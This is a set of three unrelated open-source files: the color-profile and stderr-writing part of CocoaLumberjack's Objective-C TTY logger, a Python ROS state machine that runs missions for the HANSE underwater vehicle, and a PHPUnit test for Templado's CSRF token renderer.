[[NSProcessInfo processInfo] processName]; appLen = [appName lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; if (appLen == 0) { appName = @"<UnnamedApp>"; appLen = [appName lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; } app = (char *)malloc(appLen + 1); if (app == NULL) return nil; BOOL processedAppName = [appName getCString:app maxLength:(appLen+1) encoding:NSUTF8StringEncoding]; if (NO == processedAppName) return nil; // Initialize 'pid' variable (char *) processID = [NSString stringWithFormat:@"%i", (int)getpid()]; pidLen = [processID lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; pid = (char *)malloc(pidLen + 1); if (pid == NULL) return nil; BOOL processedID = [processID getCString:pid maxLength:(pidLen+1) encoding:NSUTF8StringEncoding]; if (NO == processedID) return nil; // Initialize color stuff colorsEnabled = NO; colorProfilesArray = [[NSMutableArray alloc] initWithCapacity:8]; colorProfilesDict = [[NSMutableDictionary alloc] initWithCapacity:8]; } return self; } - (void)loadDefaultColorProfiles { [self setForegroundColor:MakeColor(214, 57, 30) backgroundColor:nil forFlag:LOG_FLAG_ERROR]; [self setForegroundColor:MakeColor(204, 121, 32) backgroundColor:nil forFlag:LOG_FLAG_WARN]; } - (BOOL)colorsEnabled { // The design of this method is taken from the DDAbstractLogger implementation. // For extensive documentation please refer to the DDAbstractLogger implementation. // Note: The internal implementation MUST access the colorsEnabled variable directly, // This method is designed explicitly for external access. // // Using "self." syntax to go through this method will cause immediate deadlock. // This is the intended result. Fix it by accessing the ivar directly. // Great strides have been take to ensure this is safe to do. Plus it's MUCH faster. NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); NSAssert(![self isOnInternalLoggerQueue], @"MUST access ivar directly, NOT via self.* syntax."); dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; __block BOOL result; dispatch_sync(globalLoggingQueue, ^{ dispatch_sync(loggerQueue, ^{ result = colorsEnabled; }); }); return result; } - (void)setColorsEnabled:(BOOL)newColorsEnabled { dispatch_block_t block = ^{ @autoreleasepool { colorsEnabled = newColorsEnabled; if ([colorProfilesArray count] == 0) { [self loadDefaultColorProfiles]; } }}; // The design of this method is taken from the DDAbstractLogger implementation. // For extensive documentation please refer to the DDAbstractLogger implementation. // Note: The internal implementation MUST access the colorsEnabled variable directly, // This method is designed explicitly for external access. // // Using "self." syntax to go through this method will cause immediate deadlock. // This is the intended result. Fix it by accessing the ivar directly. // Great strides have been take to ensure this is safe to do. Plus it's MUCH faster. NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); NSAssert(![self isOnInternalLoggerQueue], @"MUST access ivar directly, NOT via self.* syntax."); dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } - (void)setForegroundColor:(OSColor *)txtColor backgroundColor:(OSColor *)bgColor forFlag:(int)mask { [self setForegroundColor:txtColor backgroundColor:bgColor forFlag:mask context:LOG_CONTEXT_ALL]; } - (void)setForegroundColor:(OSColor *)txtColor backgroundColor:(OSColor *)bgColor forFlag:(int)mask context:(int)ctxt { dispatch_block_t block = ^{ @autoreleasepool { DDTTYLoggerColorProfile *newColorProfile = [[DDTTYLoggerColorProfile alloc] initWithForegroundColor:txtColor backgroundColor:bgColor flag:mask context:ctxt]; NSLogInfo(@"DDTTYLogger: newColorProfile: %@", newColorProfile); NSUInteger i = 0; for (DDTTYLoggerColorProfile *colorProfile in colorProfilesArray) { if ((colorProfile->mask == mask) && (colorProfile->context == ctxt)) { break; } i++; } if (i < [colorProfilesArray count]) [colorProfilesArray replaceObjectAtIndex:i withObject:newColorProfile]; else [colorProfilesArray addObject:newColorProfile]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)setForegroundColor:(OSColor *)txtColor backgroundColor:(OSColor *)bgColor forTag:(id <NSCopying>)tag { NSAssert([(id <NSObject>)tag conformsToProtocol:@protocol(NSCopying)], @"Invalid tag"); dispatch_block_t block = ^{ @autoreleasepool { DDTTYLoggerColorProfile *newColorProfile = [[DDTTYLoggerColorProfile alloc] initWithForegroundColor:txtColor backgroundColor:bgColor flag:0 context:0]; NSLogInfo(@"DDTTYLogger: newColorProfile: %@", newColorProfile); [colorProfilesDict setObject:newColorProfile forKey:tag]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)clearColorsForFlag:(int)mask { [self clearColorsForFlag:mask context:0]; } - (void)clearColorsForFlag:(int)mask context:(int)context { dispatch_block_t block = ^{ @autoreleasepool { NSUInteger i = 0; for (DDTTYLoggerColorProfile *colorProfile in colorProfilesArray) { if ((colorProfile->mask == mask) && (colorProfile->context == context)) { break; } i++; } if (i < [colorProfilesArray count]) { [colorProfilesArray removeObjectAtIndex:i]; } }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)clearColorsForTag:(id <NSCopying>)tag { NSAssert([(id <NSObject>)tag conformsToProtocol:@protocol(NSCopying)], @"Invalid tag"); dispatch_block_t block = ^{ @autoreleasepool { [colorProfilesDict removeObjectForKey:tag]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)clearColorsForAllFlags { dispatch_block_t block = ^{ @autoreleasepool { [colorProfilesArray removeAllObjects]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)clearColorsForAllTags { dispatch_block_t block = ^{ @autoreleasepool { [colorProfilesDict removeAllObjects]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)clearAllColors { dispatch_block_t block = ^{ @autoreleasepool { [colorProfilesArray removeAllObjects]; [colorProfilesDict removeAllObjects]; }}; // The design of the setter logic below is taken from the DDAbstractLogger implementation. // For documentation please refer to the DDAbstractLogger implementation. if ([self isOnInternalLoggerQueue]) { block(); } else { dispatch_queue_t globalLoggingQueue = [DDLog loggingQueue]; NSAssert(![self isOnGlobalLoggingQueue], @"Core architecture requirement failure"); dispatch_async(globalLoggingQueue, ^{ dispatch_async(loggerQueue, block); }); } } - (void)logMessage:(DDLogMessage *)logMessage { NSString *logMsg = logMessage->logMsg; BOOL isFormatted = NO; if (formatter) { logMsg = [formatter formatLogMessage:logMessage]; isFormatted = logMsg != logMessage->logMsg; } if (logMsg) { // Search for a color profile associated with the log message DDTTYLoggerColorProfile *colorProfile = nil; if (colorsEnabled) { if (logMessage->tag) { colorProfile = [colorProfilesDict objectForKey:logMessage->tag]; } if (colorProfile == nil) { for (DDTTYLoggerColorProfile *cp in colorProfilesArray) { if (logMessage->logFlag & cp->mask) { // Color profile set for this context? if (logMessage->logContext == cp->context) { colorProfile = cp; // Stop searching break; } // Check if LOG_CONTEXT_ALL was specified as a default color for this flag if (cp->context == LOG_CONTEXT_ALL) { colorProfile = cp; // We don't break to keep searching for more specific color profiles for the context } } } } } // Convert log message to C string. // // We use the stack instead of the heap for speed if possible. // But we're extra cautious to avoid a stack overflow. NSUInteger msgLen = [logMsg lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; const BOOL useStack = msgLen < (1024 * 4); char msgStack[useStack ? (msgLen + 1) : 1]; // Analyzer doesn't like zero-size array, hence the 1 char *msg = useStack ? msgStack : (char *)malloc(msgLen + 1); if (msg == NULL) return; BOOL logMsgEnc = [logMsg getCString:msg maxLength:(msgLen + 1) encoding:NSUTF8StringEncoding]; if (!logMsgEnc) { if (!useStack && msg != NULL) free(msg); return; } // Write the log message to STDERR if (isFormatted) { // The log message has already been formatted. struct iovec v[5]; if (colorProfile) { v[0].iov_base = colorProfile->fgCode; v[0].iov_len = colorProfile->fgCodeLen; v[1].iov_base = colorProfile->bgCode; v[1].iov_len = colorProfile->bgCodeLen; v[4].iov_base = colorProfile->resetCode; v[4].iov_len = colorProfile->resetCodeLen; } else { v[0].iov_base = ""; v[0].iov_len = 0; v[1].iov_base = ""; v[1].iov_len = 0; v[4].iov_base = ""; v[4].iov_len = 0; } v[2].iov_base = (char *)msg; v[2].iov_len = msgLen; v[3].iov_base = "\n"; v[3].iov_len = (msg[msgLen] == '\n') ? 0 : 1; writev(STDERR_FILENO, v, 5); } else { // The log message is unformatted, so apply standard NSLog style formatting. int len; // Calculate timestamp. // The technique below is faster than using NSDateFormatter. NSDateComponents *components = [calendar components:calendarUnitFlags fromDate:logMessage->timestamp]; NSTimeInterval epoch = [logMessage->timestamp timeIntervalSinceReferenceDate]; int milliseconds = (int)((epoch - floor(epoch)) * 1000); char ts[24]; len = snprintf(ts, 24, "%04ld-%02ld-%02ld %02ld:%02ld:%02ld:%03d", // yyyy-MM-dd HH:mm:ss:SSS (long)components.year, (long)components.month, (long)components.day, (long)components.hour, (long)components.minute, (long)components.second, milliseconds); size_t tsLen = MIN(24-1, len); // Calculate thread ID // // How many characters do we need for the thread id? // logMessage->machThreadID is of type mach_port_t, which is an unsigned int. // // 1 hex char = 4 bits // 8 hex chars for 32 bit, plus ending '\0' = 9 char tid[9]; len = snprintf(tid, 9, "%x", logMessage->machThreadID); size_t tidLen = MIN(9-1, len); // Here is our format: "%s %s[%i:%s] %s", timestamp, appName, processID, threadID, logMsg struct iovec v[13]; if (colorProfile) { v[0].iov_base = colorProfile->fgCode; v[0].iov_len = colorProfile->fgCodeLen; v[1].iov_base = colorProfile->bgCode; v[1].iov_len = colorProfile->bgCodeLen; v[12].iov_base = colorProfile->resetCode; v[12].iov_len = colorProfile->resetCodeLen; } else { v[0].iov_base = ""; v[0].iov_len = 0; v[1].iov_base = ""; v[1].iov_len = 0; v[12].iov_base = ""; v[12].iov_len = 0; } v[2].iov_base = ts; v[2].iov_len = tsLen; v[3].iov_base = " "; v[3].iov_len = 1; v[4].iov_base = app; v[4].iov_len = appLen; v[5].iov_base = "["; v[5].iov_len = 1; v[6].iov_base = pid; v[6].iov_len = pidLen; v[7].iov_base = ":"; v[7].iov_len = 1; v[8].iov_base = tid; v[8].iov_len = MIN((size_t)8, tidLen); // snprintf doesn't return what you might think v[9].iov_base = "] "; v[9].iov_len = 2; v[10].iov_base = (char *)msg; v[10].iov_len = msgLen; v[11].iov_base = "\n"; v[11].iov_len = (msg[msgLen] == '\n') ? 0 : 1; writev(STDERR_FILENO, v, 13); } if (!useStack) { free(msg); } } } - (NSString *)loggerName { return @"cocoa.lumberjack.ttyLogger"; } @end //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// @implementation DDTTYLoggerColorProfile - (instancetype)initWithForegroundColor:(OSColor *)fgColor backgroundColor:(OSColor *)bgColor flag:(int)aMask context:(int)ctxt { if ((self = [super init])) { mask = aMask; context = ctxt; CGFloat r, g, b; if (fgColor) { [DDTTYLogger getRed:&r green:&g blue:&b fromColor:fgColor]; fg_r = (uint8_t)(r * 255.0f); fg_g = (uint8_t)(g * 255.0f); fg_b = (uint8_t)(b * 255.0f); } if (bgColor) { [DDTTYLogger getRed:&r green:&g blue:&b fromColor:bgColor]; bg_r = (uint8_t)(r * 255.0f); bg_g = (uint8_t)(g * 255.0f); bg_b = (uint8_t)(b * 255.0f); } if (fgColor && isaColorTTY) { // Map foreground color to closest available shell color fgCodeIndex = [DDTTYLogger codeIndexForColor:fgColor]; fgCodeRaw = [codes_fg objectAtIndex:fgCodeIndex]; NSString *escapeSeq = @"\033["; NSUInteger len1 = [escapeSeq lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; NSUInteger len2 = [fgCodeRaw lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; BOOL escapeSeqEnc = [escapeSeq getCString:(fgCode) maxLength:(len1+1) encoding:NSUTF8StringEncoding]; BOOL fgCodeRawEsc = [fgCodeRaw getCString:(fgCode+len1) maxLength:(len2+1) encoding:NSUTF8StringEncoding]; if (!escapeSeqEnc || !fgCodeRawEsc) return nil; fgCodeLen = len1+len2; } else if (fgColor && isaXcodeColorTTY) { // Convert foreground color to color code sequence const char *escapeSeq = XCODE_COLORS_ESCAPE_SEQ; int result = snprintf(fgCode, 24, "%sfg%u,%u,%u;", escapeSeq, fg_r, fg_g, fg_b); fgCodeLen = MIN(result, (24-1)); } else { // No foreground color or no color support fgCode[0] = '\0'; fgCodeLen = 0; } if (bgColor && isaColorTTY) { // Map background color to closest available shell color bgCodeIndex = [DDTTYLogger codeIndexForColor:bgColor]; bgCodeRaw = [codes_bg objectAtIndex:bgCodeIndex]; NSString *escapeSeq = @"\033["; NSUInteger len1 = [escapeSeq lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; NSUInteger len2 = [bgCodeRaw lengthOfBytesUsingEncoding:NSUTF8StringEncoding]; BOOL escapeSeqEnc = [escapeSeq getCString:(bgCode) maxLength:(len1+1) encoding:NSUTF8StringEncoding]; BOOL bgCodeRawEsc = [bgCodeRaw getCString:(bgCode+len1) maxLength:(len2+1) encoding:NSUTF8StringEncoding]; if (!escapeSeqEnc || !bgCodeRawEsc) return nil; bgCodeLen = len1+len2; } else if (bgColor && isaXcodeColorTTY) { // Convert background color to color code sequence const char *escapeSeq = XCODE_COLORS_ESCAPE_SEQ; int result = snprintf(bgCode, 24, "%sbg%u,%u,%u;", escapeSeq, bg_r, bg_g, bg_b); bgCodeLen = MIN(result, (24-1)); } else { // No background color or no color support bgCode[0] = '\0'; bgCodeLen = 0; } if (isaColorTTY) { resetCodeLen = snprintf(resetCode, 8, "\033[0m"); } else if (isaXcodeColorTTY) { resetCodeLen = snprintf(resetCode, 8, XCODE_COLORS_RESET); } else { resetCode[0] = '\0'; resetCodeLen = 0; } } return self; } - (NSString *)description { return [NSString stringWithFormat: @"<DDTTYLoggerColorProfile: %p mask:%i ctxt:%i fg:%u,%u,%u bg:%u,%u,%u fgCode:%@ bgCode:%@>", self, mask, context, fg_r, fg_g, fg_b, bg_r, bg_g, bg_b, fgCodeRaw, bgCodeRaw]; } @end
tipbit/CocoaLumberjack
Lumberjack/DDTTYLogger.m
Matlab
bsd-3-clause
56,027
#!/usr/bin/env python import roslib; roslib.load_manifest('hanse_behaviourctrl') import rospy import smach import smach_ros import signal import os import actionlib from hanse_msgs.msg import sollSpeed, pressure from std_msgs.msg import Float64, Float32, String from geometry_msgs.msg import PoseStamped, Point, Twist, Vector3 from sensor_msgs.msg import Imu from datetime import datetime from actionlib_msgs.msg import GoalStatus from hanse_navigation.msg import NavigateGoal, NavigateAction from hanse_pipefollowing.msg import PipeFollowingGoal, PipeFollowingAction from hanse_wallfollowing.msg import WallFollowingGoal, WallFollowingAction from hanse_ballfollowing.msg import BallFollowingGoal, BallFollowingAction from hanse_srvs.srv import * class Global: SIMULATOR = False time_initial = 0.0 duration = rospy.Duration(0,0) logfile = " " currentPosition = Point() pressure_initial = 0 pressure = 0 call_depth = rospy.ServiceProxy('/hanse/engine/depth/setDepth', SetTarget) wf_client = actionlib.SimpleActionClient('/wallfollowing', WallFollowingAction) bf_client = actionlib.SimpleActionClient('/ballfollowing', BallFollowingAction) nav_client = actionlib.SimpleActionClient('/hanse/navigation', NavigateAction) pipe_client = actionlib.SimpleActionClient('/pipefollowing', PipeFollowingAction) action = " " wf_action = " " pf_action = " " action_state = " " tries_valGate = 0 tries_pipeFollow = 0 tries_midwater = 0 tries_wallfollow = 0 tries_pinger = 0 ############### # variable settings ############### #timer timer = 400 #target depth in cm depth = 180 # TODO change to 180 #waypoint middle line waypt_middle = Point(69,74,0) #waypoint past validation gate waypt_past_valgate = Point(77.5,74.25,1) #waypoint 180 degree turn waypt_180_valgate = Point(73,74.25,1) #waypoint end of pipe waypt_4 = Point(1,1,1) #waypoint midwater target waypt_midwater = Point(60,74,1) #waypoint end of wall waypt_endwall = Point(65,1,1) #waypoint start waypt_start = Point(70,55,1) class States: Init = 'Init' Submerge = 'Submerge' valGate = 'valGate' pipeFollow = 'pipeFollow' ballFollow = 'ballFollow' navigateToWall = 'navigateToWall' wallFollow = 'wallFollow' Surface = 'Surface' class Transitions: Init_Finished = 'Init_Finished' Submerged = 'Submerged' Submerge_failed = 'Submerged_failed' Goal_passed = 'Goad_passed' Goal_failed = 'Goal_failed' Goal_exit = 'Goal_exit' Pipe_passed = 'Pipe_passed' Pipe_failed = 'Pipe_failed' Pipe_exit = 'Pipe_exit' ball_passed = 'ball_passed' navigateToWall = 'navigateToWall' navigatewall_passed = 'navigatewall_passed' navigatewall_failed = 'navigatewall_failed' Wall_passed = 'Wall_passed' Wall_failed = 'Wall_failed' Surfaced = 'Surfaced' ################################# # define state Init ################################# class Init(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Init_Finished]) Global.time_initial = rospy.Time.now() def execute(self, userdata): rospy.loginfo('init') createfile(0) rospy.loginfo('Init: Waiting for depth_target service...') rospy.wait_for_service('/hanse/engine/depth/setDepth') rospy.loginfo('Init: Waiting for depth_target service... FINISHED') rospy.loginfo("nav_client started and waiting") Global.nav_client.wait_for_server() rospy.loginfo("nav_server listening for goals") rospy.loginfo("pipe_client started and waiting") Global.pipe_client.wait_for_server() rospy.loginfo("pipe_server listening for goals") rospy.loginfo("wf_client started and waiting") Global.wf_client.wait_for_server() rospy.loginfo("wf_server listening for goals") rospy.loginfo("bf_client started and waiting") Global.bf_client.wait_for_server() rospy.loginfo("bf_server listening for goals") return Transitions.Init_Finished ################################# # define state Submerge ################################# class submerge(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Submerged,Transitions.Submerge_failed]) def execute(self, userdata): Global.action = "auv submerging " Global.call_depth(Global.depth) while Global.duration.secs < 30: #rospy.loginfo(str(Global.pressure-Global.pressure_initial)) if (Global.pressure-Global.pressure_initial) > Global.depth/3: rospy.loginfo('success') return Transitions.Submerged return Transitions.Submerge_failed ################################# # define state validationGate ################################# class validationGate(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Goal_passed,Transitions.Goal_failed]) def execute(self, userdata): Global.action = "navigate to validation gate : waypoint ("+str(Global.waypt_middle.x-50)+","+str(Global.waypt_middle.y-50)+")" signal.signal(signal.SIGINT, lambda signum, frame: client.cancel_goal()) goal = create_nav_goal(Global.waypt_middle.x, Global.waypt_middle.y, 0.0) state = Global.nav_client.send_goal_and_wait(goal, rospy.Duration(120)) if state == GoalStatus.SUCCEEDED and Global.duration.secs < 360: Global.action = "navigate to validation gate : waypoint ("+str(Global.waypt_past_valgate.x-50)+","+str(Global.waypt_past_valgate.y-50)+")" rospy.loginfo('navigation succeeded') goal = create_nav_goal(Global.waypt_past_valgate.x, Global.waypt_past_valgate.y, 0.0) state = Global.nav_client.send_goal_and_wait(goal, execute_timeout=rospy.Duration(120)) if state == GoalStatus.SUCCEEDED: Global.action = "navigate to validation gate : waypoint ("+str(Global.waypt_180_valgate.x-50)+","+str(Global.waypt_180_valgate.y-50)+")" rospy.loginfo('navigation succeeded') goal = create_nav_goal(Global.waypt_180_valgate.x, Global.waypt_180_valgate.y, 0.0) state = Global.nav_client.send_goal_and_wait(goal, execute_timeout=rospy.Duration(120)) return Transitions.Goal_passed else: rospy.loginfo('navigation failed: ' + GoalStatus.to_string(state)) return Transitions.Goal_failed else: rospy.loginfo('navigation failed: ' + GoalStatus.to_string(state)) return Transitions.Goal_failed ################################# # define state PipeFollowing ################################# class PipeFollowing(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Pipe_passed,Transitions.Pipe_failed]) def execute(self, userdata): start_time = Global.duration.secs Global.action = "follow pipe" + Global.pf_action signal.signal(signal.SIGINT, lambda signum, frame: client.cancel_goal()) state = Global.pipe_client.send_goal_and_wait(PipeFollowingGoal(), execute_timeout = rospy.Duration(180)) goalStatusDict = { GoalStatus.PENDING : "PENDING", GoalStatus.ACTIVE : "ACTIVE", GoalStatus.PREEMPTED : "PREEMPTED", GoalStatus.SUCCEEDED : "SUCCEEDED", GoalStatus.ABORTED : "ABORTED", } rospy.loginfo('Result: ' + goalStatusDict[state]) if state == GoalStatus.SUCCEEDED: return Transitions.Pipe_passed else : return Transitions.Pipe_failed ################################# # define state ballFollow ################################# class ballFollowing(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.ball_passed]) def execute(self, userdata): Global.action = "following mid water target " goal = create_nav_goal(Global.waypt_midwater.x, Global.waypt_midwater.y, 0.0) state = Global.nav_client.send_goal_and_wait(goal, execute_timeout=rospy.Duration(45)) state = Global.bf_client.send_goal_and_wait(BallFollowingGoal(),rospy.Duration(20)) return Transitions.ball_passed ################################# # define state navigateToWall ################################# class navigateToWall(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.navigatewall_passed,Transitions.navigatewall_failed]) def execute(self, userdata): Global.action = "navigate to wall following : waypoint ("+str(waypt_midwater.x)+","+str(waypt_midwater.y)+")" signal.signal(signal.SIGINT, lambda signum, frame: client.cancel_goal()) ############ # enter nav goal for wall ############ goal = create_nav_goal(Global.waypt_midwater.x, Global.waypt_midwater.y, 0.0) state = Global.nav_client.send_goal_and_wait(goal, execute_timeout=rospy.Duration(120)) if state == GoalStatus.SUCCEEDED: return Transitions.navigatewall_passed else: return Transitions.navigatewall_failed ################################# # define state WallFollowing ################################# class WallFollowing(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Wall_passed,Transitions.Wall_failed]) def execute(self, userdata): start_time = Global.duration.secs Global.action = "follow wall" + Global.wf_action signal.signal(signal.SIGINT, lambda signum, frame: client.cancel_goal()) #Setting the time limit for wallfollowing while Global.duration.secs-start_time < 360: state = Global.wf_client.send_goal_and_wait(WallFollowingGoal(),rospy.Duration(5)) #client.cancel_goal() if(Global.currentPosition.x > Global.waypt_endwall.x) : return Transitions.Wall_passed return Transitions.Wall_failed ################################# # define state Surface ################################# class surface(smach.State): def __init__(self): smach.State.__init__(self, outcomes=[Transitions.Surfaced]) def execute(self, userdata): Global.action = "auv surfacing" Global.call_depth(0.0) #rosply.sleep(10) #goal = create_nav_goal(Global.waypt_start.x, Global.waypt_start.y, 0.0) #state = Global.nav_client.send_goal_and_wait(goal, execute_timeout=rospy.Duration(120)) rospy.sleep(10) return Transitions.Surfaced #timerCallback calls the routine for creating the logfile def timerCallback(event): Global.duration = rospy.Time.now() - Global.time_initial if Global.duration.secs > Global.timer: Global.call_depth(0.0) f = open(Global.logfile,"a") f.write('('+str(Global.duration.secs)+','+str(round(Global.currentPosition.x-50,2))+',' +str(round(Global.currentPosition.y-50,2))+','+str(Global.pressure-Global.pressure_initial)+','+Global.action+')\n') f.close() def actionstateCallback(msg): Global.action_state = msg.data #reading data from the pressure sensor def pressureCallback(msg): if not(Global.pressure_initial): Global.pressure_initial = msg.data Global.pressure = msg.data #getting the position from the localisation def positionCallback(msg): Global.currentPosition = msg.pose.position def wallfollow_infoCallback(msg): Global.wf_action = msg.data def pipefollow_infoCallback(msg): Global.pf_action = msg.data #creating a goal that can be used as a target for the navigation with absolute coordinates x,y and z #(z may be set by directly using depth_control def create_nav_goal(x, y, z): ps = PoseStamped() ps.pose.position = Point(x=x, y=y, z=z) return NavigateGoal(goal = ps) #creates a logfile that is used for one mission def createfile(i): Global.logfile = os.path.expanduser("~/hanselog_"+str(i)+".log") if os.path.isfile(Global.logfile): createfile(i+1) else: date = datetime.fromtimestamp(Global.time_initial.secs) f = open(Global.logfile,"w") f.write('log file hanse: ' + str(date.year) + '-' + str(date.month) + '-' + str(date.day) + ' ' + str(date.hour)) if date.minute < 10: f.write(':0' + str(date.minute)) else: f.write(':' + str(date.minute)) if date.second < 10: f.write(':0' + str(date.second)+'\n') else: f.write(':' + str(date.second)+'\n') f.close() def main(): rospy.init_node('behaviourctrl') if Global.SIMULATOR: rospy.Subscriber('/hanse/posemeter', PoseStamped, positionCallback) else: rospy.Subscriber('position/estimate', PoseStamped, positionCallback) rospy.Subscriber('/hanse/pressure/depth', pressure, pressureCallback) rospy.Subscriber('/hanse/actionstate', String, actionstateCallback) rospy.Subscriber('/hanse/behaviour/wallfollow_info', String, wallfollow_infoCallback) rospy.Subscriber('/hanse/behaviour/pipefollow_info', String, pipefollow_infoCallback) rospy.Timer(rospy.Duration(1.0), timerCallback) # Create a SMACH state machine sm = smach.StateMachine(outcomes=['outcome']) # Open the container with sm: # Add states to the container smach.StateMachine.add(States.Init, Init(), transitions={Transitions.Init_Finished:States.Submerge}) smach.StateMachine.add(States.Submerge, submerge(), transitions={Transitions.Submerged:States.navigateToWall, Transitions.Submerge_failed:States.Surface}) smach.StateMachine.add(States.valGate, validationGate(), transitions={Transitions.Goal_passed:States.pipeFollow, Transitions.Goal_failed:States.Surface}) smach.StateMachine.add(States.pipeFollow, PipeFollowing(), transitions={Transitions.Pipe_passed:States.Surface, Transitions.Pipe_failed : States.valGate}) smach.StateMachine.add(States.ballFollow, ballFollowing(), transitions={Transitions.ball_passed:States.navigateToWall}) smach.StateMachine.add(States.navigateToWall, navigateToWall(), transitions={Transitions.navigatewall_passed:States.ballFollow, Transitions.navigatewall_failed : States.Surface}) smach.StateMachine.add(States.wallFollow, WallFollowing(), transitions={Transitions.Wall_passed:States.Surface, Transitions.Wall_failed : States.Surface}) smach.StateMachine.add(States.Surface, surface(), transitions={Transitions.Surfaced:'outcome'}) # Execute SMACH plan outcome = sm.execute() # Create and start the introspection server sis = smach_ros.IntrospectionServer('server_name', sm, '/SM_ROOT') sis.start() # Wait for ctrl-c to stop the application sis.stop() #rospy.spin() if __name__ == '__main__': main()
iti-luebeck/HANSE2012
hanse_ros/hanse_behaviourctrl/nodes/behaviourctrl_ball.py
Python
bsd-3-clause
14,344
<?php declare(strict_types = 1); namespace Templado\Engine; use DOMDocument; use PHPUnit\Framework\TestCase; /** * @covers \Templado\Engine\CSRFProtectionRenderer */ class CSRFProtectionRendererTest extends TestCase { use DomDocumentsEqualTrait; /** @var CSRFProtection */ private $protection; /** @var CSRFProtectionRenderer */ private $renderer; /** @var DOMDocument */ private $expected; protected function setUp(): void { $protection = $this->createMock(CSRFProtection::class); $protection->method('getFieldName')->willReturn('csrf'); $protection->method('getTokenValue')->willReturn('secure'); $this->protection = $protection; $this->renderer = new CSRFProtectionRenderer(); $this->expected = new DOMDocument(); $this->expected->loadXML( '<?xml version="1.0"?> <html><body><form><input type="hidden" name="csrf" value="secure"/></form></body></html>' ); } public function testCSRFTokenFieldGetsAddedWhenMissing(): void { $dom = new DOMDocument(); $dom->loadXML('<?xml version="1.0" ?><html><body><form></form></body></html>'); $this->renderer->render($dom->documentElement, $this->protection); $this->assertResultMatches( $this->expected->documentElement, $dom->documentElement ); } public function testCSRFTokenFieldGetsUpdatedWithTokenValue(): void { $dom = new DOMDocument(); $dom->loadXML( '<?xml version="1.0"?> <html><body><form><input type="hidden" name="csrf" value=""/></form></body></html>' ); $this->renderer->render($dom->documentElement, $this->protection); $this->assertResultMatches( $this->expected->documentElement, $dom->documentElement ); $input = $dom->getElementsByTagName('input')->item(0); $this->assertEquals('secure', $input->getAttribute('value')); } public function testCSRFTokenFieldGetsAddedWithCorrectNamespaceWhenMissing(): void { $this->expected->documentElement->setAttribute('xmlns', 'a:b'); $dom = new DOMDocument(); $dom->loadXML('<?xml version="1.0" ?><html xmlns="a:b"><body><form></form></body></html>'); $this->renderer->render($dom->documentElement, $this->protection); $this->assertResultMatches( $this->expected->documentElement, $dom->documentElement ); $input = $dom->getElementsByTagName('input')->item(0); $this->assertEquals('a:b', $input->namespaceURI); $this->assertEquals('secure', $input->getAttribute('value')); } public function testCSRFTokenFieldWithNamespaceGetsUpdatedWithTokenValue(): void { $this->expected->documentElement->setAttribute('xmlns', 'a:b'); $dom = new DOMDocument(); $dom->loadXML( '<?xml version="1.0"?> <html xmlns="a:b"><body><form><input type="hidden" name="csrf" value=""/></form></body></html>' ); $this->renderer->render($dom->documentElement, $this->protection); $this->assertResultMatches( $this->expected->documentElement, $dom->documentElement ); $input = $dom->getElementsByTagName('input')->item(0); $this->assertEquals('secure', $input->getAttribute('value')); } }
templado/engine
tests/csrfprotection/CSRFProtectionRendererTest.php
PHP
bsd-3-clause
3,434
